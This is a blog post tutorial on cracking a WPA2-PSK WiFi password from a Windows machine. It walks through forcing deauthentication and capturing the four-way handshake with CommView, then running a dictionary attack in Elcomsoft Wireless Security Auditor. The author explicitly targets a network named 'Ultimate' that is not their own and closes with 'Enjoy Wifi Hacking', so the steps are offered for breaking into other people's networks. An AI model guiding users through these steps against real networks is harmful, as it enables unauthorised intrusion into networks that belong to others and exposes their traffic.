It,s very common question on the internet to How to hack a Facebook account password and how to hack a WiFi password. Even if you search on YouTube you will find a lots of tutorial to How to hack a WiFi password using backtrack. However, backtrack OS is not most handy OS for normal users. yesterday my one Facebook friend Lovito Tsuqu Kiho ask me to how to hack WiFi using commview using aircrack-ng.
Today i am going to show you how to a crack a Wp2-psk password with windows machine.
Software Requirement for this lab :-
1. CommView for Wifi ( Download)
http://download.cnet.com/CommView-for-WiFi/3000-2085_4-10218782.html
2. Elcomsoft Wireless Security Auditor (Download)
http://www.elcomsoft.com/ewsa.html
Presently i am connected with my own wifi network Virusfound and i want to hack the password of Ultimate that is secured with Wpa2-psk encryption.
commaview6
First you need to be capture the Wpa2, four-way handsake with CommView.
Open commView and click on the Start option
commaview
then click on the capture option to start the capture
commaview1
now it will show you all available AP, Now click on the Tools > Select the Node Reassoication option ( if Node Rassociation is not working , then use WiFi Alfa card )
commaview2
now select your target AP in the Send a deauthentication request from this AP option. it will show you all available client option.
commaview3
now click on the Send Now option to send the packet for 4-way authentication. wait for some time so it will capture the packet.
commaview4
now click on the Save option and choose your file format Commview Capture Files (*.ncf)
commaview5
you capture work is done.
Now open Elcomsoft Wireless Security Auditor to crack your wifi password.
Click on the Import Data tab > select the Import CommViewLog option.
commaview7
now it will show you information about AP and Multiple Handshake selection information. Click on Ok.
commaview8
now click on the Start attack option and select the Dictionary Attack option. However you have other attack options are also available.
commaview9
now within minutes it will found your password and it will show you the password.
commaview10
Enjoy Wifi Hacking with Windows machine.
commaview11

Recent Post

Test Footer 1

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. The UG - All Rights Reserved
Template Modify by Creating Website
Proudly powered by Blogger